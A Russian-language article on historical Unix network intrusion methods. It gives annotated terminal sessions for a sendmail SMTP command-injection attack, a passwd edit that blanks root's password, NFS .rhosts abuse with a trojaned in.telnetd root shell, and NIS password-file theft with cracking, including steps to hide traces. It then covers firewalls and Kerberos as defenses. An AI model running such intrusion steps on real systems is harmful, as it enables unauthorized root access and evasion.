Основные методы получения несанкционированного доступа к Unix через сеть

Начать обзор следует с возможности взлома через электронную почту. Для пересылки электронной почты по IP на подавляющем большинстве систем используется программа sendmail, разработанная в университете Беркли. Задуманная как чисто служебная утилита, эта программа приобрела огромную популярность и вошла в состав дистрибутива многих Unix-систем. Однако она содержала в себе очень серьезную ошибку, благодаря которой любой желающий имел возможность выполнить на удаленной машине команды с привилегиями суперпользователя. Обычно взломщики пытались отправить себе файл passwd для подбора паролей либо помещали свою информацию в файлы, использующиеся программами rlogin, rsh для запуска shell без запроса пароля, например:

crack% telnet target.remote.com 25

Connecting to 123.456.654.321.

! соединяемся по порту 25 — это SMTP

220 sendmail SMI/4.3.5.2 ready

! версия, которая, как известно, содержит ошибку.

helo xxx

220 Helo xxx, ( crack.edu )

mail from: |echo crack.edu/.rhosts@target.remote.com

! подставляем команду вместо обратного адреса.

200 Sender ok.

rcpt to: nosuchuser

! вводим заранее неправильного адресата

500 nosuchuser: user unknown

! несмотря на сообщение, продолжаем диалог.

data

230 Enter mail, end with .

200 Mail accepted

! все, машина взломана....

quit

crack% su

! А теперь залезаем так, чтобы нас не было видно через who

# rsh target.remote.com /bin/csh -i

Welcome to remote.com!

Warning! No access to terminal, job control disabled!

target#

Эта ошибка присутствует в нескольких десятках различных вариантов ОС Unix самых разных фирм.

Кроме того, существуют и более простые способы при благоприятных условиях: удаленная машина Sun, система SunOS 4, NIS не запущен, система поставлена, и ничего не исправлялось, например:

crack# su — bin

$ rsh target.remote.com /bin/csh -i

! В файле /etc/hosts.equiv есть запись + и ошибка...

Welcome to remote.com!

! Каталог /etc с владельцем bin...

Warning! No access to terminal, job control disabled!

% ls -ldg /etc

drwxr-xr-x 10 bin bin 1536 Apr 10 01:45 /etc/

% cd /etc

! Делаем passwd доступным на запись нам...

% mv passwd passwd.was

% cp passwd.was passwd

! Редактируем

% ed passwd

2341

1p

root:Nkkh5gkljGyj:0:0:Root:/:/bin/csh

s/Nkkh5gkljGyj//p

root::0:0:Root:/:/bin/csh

w

2341

q

! И в суперпользователя.

%echo /bin/csh -i | su root

Warning! No access to terminal, job control disabled!

target# mv /etc/passwd.was /etc/passwd

! Чтобы никто не обнаружил, что мы делали.

Кроме электронной почты, в TCP/IP сетях очень широко применяются различные виды распределенных файловых систем, самой популярной из которых является Network File System (NFS).

В случае неаккуратного заполнения файла /etc/exports или использования дистрибутива с ошибкой (SunOS 4.1) может возникнуть следующая ситуация:

crack% showmount -e target.remote.com

Export list for target.remote.com

/home Everyone

/disk3 neptun pluton alpha

! Домашние каталоги доступны по NFS

crack% su

# mount -t nfs target.remote.com:/home /mnt

# cd /mnt

! Монтируем каталог к нам

# ls -ldg *

drwxr-xr-x 10 257 20 1536 Apr 10 01:45 user/

# echo crack.edu user/.rhosts

! Устанавливаем .rhosts у пользователя

# cat /etc/passwd

user::257:20::/:

^D

! Создаем такого же у нас

# su — user

! Становимся им

$ rsh target.remote.com /bin/csh -i

Warning! No access to terminal, job control disabled!

! И заходим на удаленную машину

% id

uid=257(user) gid=20(stuff) groups=20(stuff), 7(sys)

% ls -ldg /usr/etc

! Каталог доступен на запись

drwxrwxr-x 10 bin bin 1536 Apr 10 01:45 /usr/etc

% grep telnet /etc/inetd.conf

telnet stream nowait root /usr/etc/in.telnetd in.telnetd

! Нашли программу, которая запустится

!под root`ом из нашего каталога

% cd /usr/etc

% mv in.telnetd in.telnetd1

! создаем троянского коня

% cat in.telnetd

#!/bin/sh

exec /bin/csh -i

^D

% chmod 755 in.telnetd

! и запускаем его

% telnet 127.1

Connecting 127.1.

Warning! No access to terminal, job control disabled!

# chown user /etc;

! Делаем /etc своим

^M: command not found

# exit;

^M: command not found

Connection closed by foreign host.

% cd /etc

! и далее, как в примере выше.

Если на машине работает NIS-сервер и не принято дополнительных мер, то с помощью специальной программы можно утащить по сети файл passwd, общий для некоторого числа машин. В случае несоблюдения правил при создании паролей есть довольно приличная вероятность, что программа crack подберет несколько. Дальнейшие события могут разворачиваться по одному из сценариев для получения полномочий суперпользователя (после того, как вы зашли на удаленную машину как пользователь):

! проверяем на NIS сервер

crack% rpcinfo -p target.remote.com | grep bind

120000 2 udp 2493 ypbind

! есть такой...

crack% ypx -o target.passwd -g target.remote.com

! забираем файл паролей

crack% crack target.passwd

! и запускаем подборщик паролей

[ a lot of time ]

OK, user user has password iamuser

! нашли, заходим

crack% telnet target.remote.com

! далее как в предыдущем примере.

Естественно, что если известны способы преодоления защиты, то должны быть разработаны и средства защиты. Для минимизации возможных попыток проникновения в сеть очень эффективен маршрутизатор, умеющий анализировать поток проходящей через него информации и осуществляющий фильтрацию пакетов. Эта возможность реализована практически во всех аппаратных маршрутизаторах (cisco, wellfleet...) иввиде специального ПО для Unix-машин (Sun, DEC, BSDI, FreeBSD).

Такие маршрутизаторы позволяют осуществлять работу в сети строго по определенным правилам. Например, не пропускать из/в локальную сеть некоторые протоколы. Очень рекомендуется запрещать rlogin, rsh, RPC (см. Примеры), а также пакеты, направленные на порты 2048 и 2049 — это порты данных для NFS. Также рекомендуется четко определить машины, принимающие почту, и открыть порт 25 только для них. При необходимости возможна конфигурация, которая вообще запрещает какие-либо заходы по сети в локальную сеть, при этом разрешая изнутри использовать любые TCP-сервисы глобальной сети. Подобный маршрутизатор или комбинация из нескольких машин и фильтрующих маршрутизаторов получили название брандмауэр (от англ. firewall — стена огня).

Для установления полного контроля за всеми соединениями можно использовать так называемый программный брандмауэр (software firewall). Он представляет собой своеобразный маршрутизатор, который осуществляет контроль за соединениями не на уровне IP-пакетов, а на уровне собственно контролируемых протоколов.

В этом случае режим прозрачной пересылки пакетов выключен, но вместо программ, обеспечивающих работу с необходимыми протоколами (telnet, ftp...), запускаются программы, которые транслируют эти протоколы в сеть по другую сторону машины, обычно сверившись по базе данных на предмет правомерности такого соединения и после идентификации пользователя.

Для пользователя такой брандмауэр выглядит единственным окном во внешний мир. Например, если в сети для того, чтобы зайти по ftp на машину arch.kiae.su, вам надо набрать:

% ftp arch.kiae.su

Connected to arch.kiae.su

Name: (arch.kiae.su: you)

230 Guest login ok, send ident as password

Password: you@your.site

230 — Hello, user@our.workstation.our.company.com

то в случае программного брандмауэра надо набирать:

% ftp our-soft-firewall

Name: (our-soft-firewall:user) ftp@arch.kiae.su

Password: XXXXXXX

Connected to arch.kiae.su

Name: (arch.kiae.su: ftp)

230 Guest login ok, send ident as password

Password: you@your.site

230 — Hello, user@our-sort-firewall.our.company.com

Аналогично работают telnet, rlogin, X11 и т.д.

Борьба с возможностью анализа содержания IP-пакетов

Все рассмотренные выше примеры относятся к так называемым активным методам. Аккуратное администрирование системы легко сводит на нет все рассмотренные дырки, но совершенно бессильно в случае применения пассивной атаки. Что это такое? Самый распространенный, простой в исполнении способ — анализ информации, передаваемой по каналам связи, преимущественно по сети Ethernet.

Основан он на свойстве этой сети, благодаря которому каждый передаваемый пакет может быть проанализирован любой машиной, подключенной на этот сегмент сети. При наличии достаточно быстрой машины с адаптером, разрешающим работу в режиме приема всех пакетов, можно легко извлекать такую информацию, как пароли пакетов NFS.

Если на этом сегменте расположено несколько маршрутизаторов, то в наш фильтр попадут не только пароли нашей сети, но и те, которыми обмениваются маршрутизаторы. Таким образом, за сравнительно короткое время можно собрать коллекцию паролей на нескольких сотнях машин.

Для борьбы с такими методами в конце 80-х годов была разработана система сетевой идентификации пользователя под названием Kerberos. Основной целью было полное исключение пересылки паролей по сети. Пользователь вводит пароль только один раз при регистрации в системе, после чего ему выделяется билет на несколько часов, который хранится в файле в зашифрованном виде.

Этот билет содержит информацию о пользователе, время выдачи, адрес машины и случайно сгенерированный ключ для дальнейшего обмена идентификационной информацией. Первоначальным ключом служит пароль пользователя. Билет, выданный при входе в систему, используется для получения вторичных билетов, по которым может быть предоставлен какой-либо сетевой сервис.

Со стороны сервера используется аналогичный механизм с той разницей, что в качестве пользователя выступает программа, обеспечивающая запрошенный вид услуги. Таким образом, программа пользователя и программа на сервере получают пару случайных ключей, с помощью которых они шифруют идентификационную информацию, прилагают к ней контрольные суммы и на этой основе удостоверяются втом, что они те, кем представились.

После этого программа пользователя может получить доступ ксервису без запроса пароля. Без знания первоначальных ключей сеанс не состоится. Кроме того, полученная пара ключей может быть использована для шифрования всего сеанса работы по сети. Эта система имеет целый ряд недостатков. Во-первых, подразумевается четкое разделение машин на рабочие станции и серверы. В случае, если пользователь пожелает, зайдя на сервер, с помощью telnet зайти на другую машину, идентификация не сработает, так как пользователь имеет первоначальный билет только на той рабочей станции, где он вводил пароль.

Иными словами, в Kerberos версии 4 полномочия пользователя не передаются на другие машины. Кроме того, требуется выделенная машина под сервер Kerberos, причем работающая в максимально секретных условиях, поскольку на ней содержится база данных, где содержатся все пароли пользователей. Kerberos версии 4 очень ограниченно применим в сети, где возможны ситуации, когда в силу ряда обстоятельств сервер Kerberos недоступен по сети (непредвиденные сбои в роутинге, ухудшение или обрыв связи и т.д.).

Часть недостатков, перечисленных выше, ликвидирована в версии5, но эта реализация запрещена к экспорту из США. По описанному алгоритму работают также системы Sphinx от DEC и NIS+ от Sun. Отличаются они применением различных алгоритмов шифрования, другого протокола передачи (RPC вместо UDP) и способов объединения административных доменов в иерархию.

Кроме рассмотренных, существуют и другие, более изощренные, способы вторжения. Многие из них можно нейтрализовать простым аккуратным администрированием. По статистике, большинство взломов осуществляется из-за халатности администраторов или персонала, эксплуатирующего систему. He откладывая в долгий ящик, проверьте перечисленные выше способы несанкционированного доступа — если удастся взломать ваш компьютер вам, то это могут сделать и другие.